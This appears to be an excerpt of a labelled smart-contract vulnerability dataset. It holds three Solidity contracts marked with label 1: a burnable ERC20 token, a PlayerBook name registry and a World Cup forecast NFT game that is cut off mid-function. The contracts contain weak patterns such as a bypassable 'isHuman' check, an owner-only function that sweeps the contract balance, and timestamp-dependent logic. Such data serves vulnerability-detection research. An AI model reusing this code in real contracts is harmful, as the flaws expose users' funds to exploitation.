source_codes
stringlengths 72
160k
| labels
int64 0
1
| __index_level_0__
int64 0
4.4k
|
|---|---|---|
pragma solidity ^0.4.12;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract TATACoin is BurnableToken, Ownable {
string public constant name = "TATA";
string public constant symbol = "TATA";
uint public constant decimals = 8;
uint256 public constant initialSupply = 100000000000000 * (10 ** uint256(decimals));
function TATACoin() {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
}
} | 1 | 2,210 |
pragma solidity ^0.4.24;
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
interface TeamDreamInterface {
function requiredSignatures() external view returns(uint256);
function requiredDevSignatures() external view returns(uint256);
function adminCount() external view returns(uint256);
function devCount() external view returns(uint256);
function adminName(address _who) external view returns(bytes32);
function isAdmin(address _who) external view returns(bool);
function isDev(address _who) external view returns(bool);
}
interface TeamDreamHubInterface {
function deposit() external payable;
}
contract PlayerBook {
using NameFilter for string;
using SafeMath for uint256;
address private owner;
TeamDreamHubInterface public TeamDreamHub_;
TeamDreamInterface public TeamDream_;
MSFun.Data private msData;
function multiSigDev(bytes32 _whatFunction) private returns (bool) {return(MSFun.multiSig(msData, TeamDream_.requiredDevSignatures(), _whatFunction));}
function deleteProposal(bytes32 _whatFunction) private {MSFun.deleteProposal(msData, _whatFunction);}
function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);}
function checkData(bytes32 _whatFunction) onlyDevs() public view returns(bytes32, uint256) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));}
function checkSignersByAddress(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(address, address, address) {return(MSFun.checkSigner(msData, _whatFunction, _signerA), MSFun.checkSigner(msData, _whatFunction, _signerB), MSFun.checkSigner(msData, _whatFunction, _signerC));}
function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(bytes32, bytes32, bytes32) {return(TeamDream_.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), TeamDream_.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), TeamDream_.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));}
uint256 public registrationFee_ = 10 finney;
mapping(uint256 => PlayerBookReceiverInterface) public games_;
mapping(address => bytes32) public gameNames_;
mapping(address => uint256) public gameIDs_;
uint256 public gID_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Player) public plyr_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_;
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
constructor(address _TeamDreamHubSCaddress, address _TeamDreamSCaddress)
public
{
owner = msg.sender;
TeamDreamHub_ = TeamDreamHubInterface(_TeamDreamHubSCaddress);
TeamDream_ = TeamDreamInterface(_TeamDreamSCaddress);
plyr_[1].addr = owner;
plyr_[1].name = "lb";
plyr_[1].names = 1;
pIDxAddr_[owner] = 1;
pIDxName_["lb"] = 1;
plyrNames_[1]["lb"] = true;
plyrNameList_[1][1] = "lb";
plyr_[2].addr = 0xEd5E1C52B48C8a6cfEc77DeB57Be61D097d2eE28;
plyr_[2].name = "al";
plyr_[2].names = 1;
pIDxAddr_[0xEd5E1C52B48C8a6cfEc77DeB57Be61D097d2eE28] = 2;
pIDxName_["al"] = 2;
plyrNames_[2]["al"] = true;
plyrNameList_[2][1] = "al";
plyr_[3].addr = 0x059743e7B1086c852e0459ded4E8Bc254E7d93CD;
plyr_[3].name = "tr";
plyr_[3].names = 1;
pIDxAddr_[0x059743e7B1086c852e0459ded4E8Bc254E7d93CD] = 3;
pIDxName_["tr"] = 3;
plyrNames_[3]["tr"] = true;
plyrNameList_[3][1] = "tr";
pID_ = 3;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyDevs()
{
require(TeamDream_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
function useMyOldName(string _nameString)
isHuman()
public
{
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
plyr_[_pID].name = _name;
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
TeamDreamHub_.deposit.value(address(this).balance)();
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
} else {
return (false);
}
}
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function addGame(address _gameAddress, string _gameNameStr)
onlyDevs()
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
if (multiSigDev("addGame") == true)
{deleteProposal("addGame");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0);
games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0);
}
}
function setRegistrationFee(uint256 _fee)
onlyDevs()
public
{
if (multiSigDev("setRegistrationFee") == true)
{deleteProposal("setRegistrationFee");
registrationFee_ = _fee;
}
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library MSFun {
struct Data
{
mapping (bytes32 => ProposalData) proposal_;
}
struct ProposalData
{
bytes32 msgData;
uint256 count;
mapping (address => bool) admin;
mapping (uint256 => address) log;
}
function multiSig(Data storage self, uint256 _requiredSignatures, bytes32 _whatFunction)
internal
returns(bool)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
uint256 _currentCount = self.proposal_[_whatProposal].count;
address _whichAdmin = msg.sender;
bytes32 _msgData = keccak256(msg.data);
if (_currentCount == 0)
{
self.proposal_[_whatProposal].msgData = _msgData;
self.proposal_[_whatProposal].admin[_whichAdmin] = true;
self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin;
self.proposal_[_whatProposal].count += 1;
if (self.proposal_[_whatProposal].count == _requiredSignatures) {
return(true);
}
} else if (self.proposal_[_whatProposal].msgData == _msgData) {
if (self.proposal_[_whatProposal].admin[_whichAdmin] == false)
{
self.proposal_[_whatProposal].admin[_whichAdmin] = true;
self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin;
self.proposal_[_whatProposal].count += 1;
}
if (self.proposal_[_whatProposal].count == _requiredSignatures) {
return(true);
}
}
}
function deleteProposal(Data storage self, bytes32 _whatFunction)
internal
{
bytes32 _whatProposal = whatProposal(_whatFunction);
address _whichAdmin;
for (uint256 i=0; i < self.proposal_[_whatProposal].count; i++) {
_whichAdmin = self.proposal_[_whatProposal].log[i];
delete self.proposal_[_whatProposal].admin[_whichAdmin];
delete self.proposal_[_whatProposal].log[i];
}
delete self.proposal_[_whatProposal];
}
function whatProposal(bytes32 _whatFunction)
private
view
returns(bytes32)
{
return(keccak256(abi.encodePacked(_whatFunction,this)));
}
function checkMsgData (Data storage self, bytes32 _whatFunction)
internal
view
returns (bytes32 msg_data)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].msgData);
}
function checkCount (Data storage self, bytes32 _whatFunction)
internal
view
returns (uint256 signature_count)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].count);
}
function checkSigner (Data storage self, bytes32 _whatFunction, uint256 _signer)
internal
view
returns (address signer)
{
require(_signer > 0, "MSFun checkSigner failed - 0 not allowed");
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].log[_signer - 1]);
}
} | 1 | 3,372 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract Ownable {
address public owner;
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
admin = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdmin() {
require(msg.sender == admin || msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setAdmin(address newAdmin) public onlyOwner {
require(newAdmin != address(0));
admin = newAdmin;
}
}
contract Pausable is Ownable {
bool public paused = true;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
}
function unpause() public onlyOwner whenPaused {
paused = false;
}
}
contract BrokenContract is Pausable {
address public newContractAddress;
function setNewAddress(address _v2Address) external onlyOwner whenPaused {
owner.transfer(address(this).balance);
newContractAddress = _v2Address;
}
}
contract ERC721Basic {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721BasicToken is BrokenContract, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
mapping (uint256 => address) internal tokenOwner;
mapping (address => uint256) internal ownedTokensCount;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) {
address owner = ownerOf(_tokenId);
return _spender == owner;
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
}
contract ERC721Token is ERC721, ERC721BasicToken {
string internal name_;
string internal symbol_;
mapping(address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
}
contract BaseGame is ERC721Token {
event NewAccount(address owner, uint tokenId, uint parentTokenId, uint blockNumber);
event NewForecast(address owner, uint tokenId, uint forecastId, uint _gameId,
uint _forecastData);
struct Token {
uint createBlockNumber;
uint parentId;
}
enum Teams { DEF,
RUS, SAU, EGY, URY,
PRT, ESP, MAR, IRN,
FRA, AUS, PER, DNK,
ARG, ISL, HRV, NGA,
BRA, CHE, CRI, SRB,
DEU, MEX, SWE, KOR,
BEL, PAN, TUN, GBR,
POL, SEN, COL, JPN
}
event GameChanged(uint _gameId, uint64 gameDate, Teams teamA, Teams teamB,
uint goalA, uint goalB, bool odds, uint shotA, uint shotB);
struct Game {
uint64 gameDate;
Teams teamA;
Teams teamB;
uint goalA;
uint goalB;
bool odds;
uint shotA;
uint shotB;
uint[] forecasts;
}
struct Forecast {
uint gameId;
uint forecastBlockNumber;
uint forecastData;
}
Token[] tokens;
mapping (uint => Game) games;
Forecast[] forecasts;
mapping (uint => uint) internal forecastToToken;
mapping (uint => uint[]) internal tokenForecasts;
constructor(string _name, string _symbol) ERC721Token(_name, _symbol) public {}
function _createToken(uint _parentId, address _owner) internal whenNotPaused
returns (uint) {
Token memory _token = Token({
createBlockNumber: block.number,
parentId: _parentId
});
uint newTokenId = tokens.push(_token) - 1;
emit NewAccount(_owner, newTokenId, uint(_token.parentId), uint(_token.createBlockNumber));
_mint(_owner, newTokenId);
return newTokenId;
}
function _createForecast(uint _tokenId, uint _gameId, uint _forecastData) internal whenNotPaused returns (uint) {
require(_tokenId < tokens.length);
Forecast memory newForecast = Forecast({
gameId: _gameId,
forecastBlockNumber: block.number,
forecastData: _forecastData
});
uint newForecastId = forecasts.push(newForecast) - 1;
forecastToToken[newForecastId] = _tokenId;
tokenForecasts[_tokenId].push(newForecastId);
games[_gameId].forecasts.push(newForecastId);
emit NewForecast(tokenOwner[_tokenId], _tokenId, newForecastId, _gameId, _forecastData);
return newForecastId;
}
}
contract BaseGameLogic is BaseGame {
uint public prizeFund = 0;
uint public basePrice = 21 finney;
uint public gameCloneFee = 7000;
uint public priceFactor = 10000;
uint public prizeFundFactor = 5000;
constructor(string _name, string _symbol) BaseGame(_name, _symbol) public {}
function _addToFund(uint _val, bool isAll) internal whenNotPaused {
if(isAll) {
prizeFund = prizeFund.add(_val);
} else {
prizeFund = prizeFund.add(_val.mul(prizeFundFactor).div(10000));
}
}
function createAccount() external payable whenNotPaused returns (uint) {
require(msg.value >= basePrice);
_addToFund(msg.value, false);
return _createToken(0, msg.sender);
}
function cloneAccount(uint _tokenId) external payable whenNotPaused returns (uint) {
require(exists(_tokenId));
uint tokenPrice = calculateTokenPrice(_tokenId);
require(msg.value >= tokenPrice);
uint newToken = _createToken( _tokenId, msg.sender);
uint gameFee = tokenPrice.mul(gameCloneFee).div(10000);
_addToFund(gameFee, false);
uint ownerProceed = tokenPrice.sub(gameFee);
address tokenOwnerAddress = tokenOwner[_tokenId];
tokenOwnerAddress.transfer(ownerProceed);
return newToken;
}
function createForecast(uint _tokenId, uint _gameId,
uint8 _goalA, uint8 _goalB, bool _odds, uint8 _shotA, uint8 _shotB)
external whenNotPaused onlyOwnerOf(_tokenId) returns (uint){
require(exists(_tokenId));
require(block.timestamp < games[_gameId].gameDate);
uint _forecastData = toForecastData(_goalA, _goalB, _odds, _shotA, _shotB);
return _createForecast(_tokenId, _gameId, _forecastData);
}
function tokensOfOwner(address _owner) public view returns(uint[] ownerTokens) {
uint tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint[](0);
} else {
uint[] memory result = new uint[](tokenCount);
uint totalToken = totalSupply();
uint resultIndex = 0;
uint _tokenId;
for (_tokenId = 1; _tokenId <= totalToken; _tokenId++) {
if (tokenOwner[_tokenId] == _owner) {
result[resultIndex] = _tokenId;
resultIndex++;
}
}
return result;
}
}
function forecastOfToken(uint _tokenId) public view returns(uint[]) {
uint forecastCount = tokenForecasts[_tokenId].length;
if (forecastCount == 0) {
return new uint[](0);
} else {
uint[] memory result = new uint[](forecastCount);
uint resultIndex;
for (resultIndex = 0; resultIndex < forecastCount; resultIndex++) {
result[resultIndex] = tokenForecasts[_tokenId][resultIndex];
}
return result;
}
}
function gameInfo(uint _gameId) external view returns(
uint64 gameDate, Teams teamA, Teams teamB, uint goalA, uint gaolB,
bool odds, uint shotA, uint shotB, uint forecastCount
){
gameDate = games[_gameId].gameDate;
teamA = games[_gameId].teamA;
teamB = games[_gameId].teamB;
goalA = games[_gameId].goalA;
gaolB = games[_gameId].goalB;
odds = games[_gameId].odds;
shotA = games[_gameId].shotA;
shotB = games[_gameId].shotB;
forecastCount = games[_gameId].forecasts.length;
}
function forecastInfo(uint _fId) external view
returns(uint gameId, uint f) {
gameId = forecasts[_fId].gameId;
f = forecasts[_fId].forecastData;
}
function tokenInfo(uint _tokenId) external view
returns(uint createBlockNumber, uint parentId, uint forecast, uint score, uint price) {
createBlockNumber = tokens[_tokenId].createBlockNumber;
parentId = tokens[_tokenId].parentId;
price = calculateTokenPrice(_tokenId);
forecast = getForecastCount(_tokenId, block.number, false);
score = getScore(_tokenId);
}
function calculateTokenPrice(uint _tokenId) public view returns(uint) {
require(exists(_tokenId));
uint forecastCount = getForecastCount(_tokenId, block.number, true);
return (forecastCount.add(1)).mul(basePrice).mul(priceFactor).div(10000);
}
function getForecastCount(uint _tokenId, uint _blockNumber, bool isReleased) public view returns(uint) {
require(exists(_tokenId));
uint forecastCount = 0 ;
uint index = 0;
uint count = tokenForecasts[_tokenId].length;
for (index = 0; index < count; index++) {
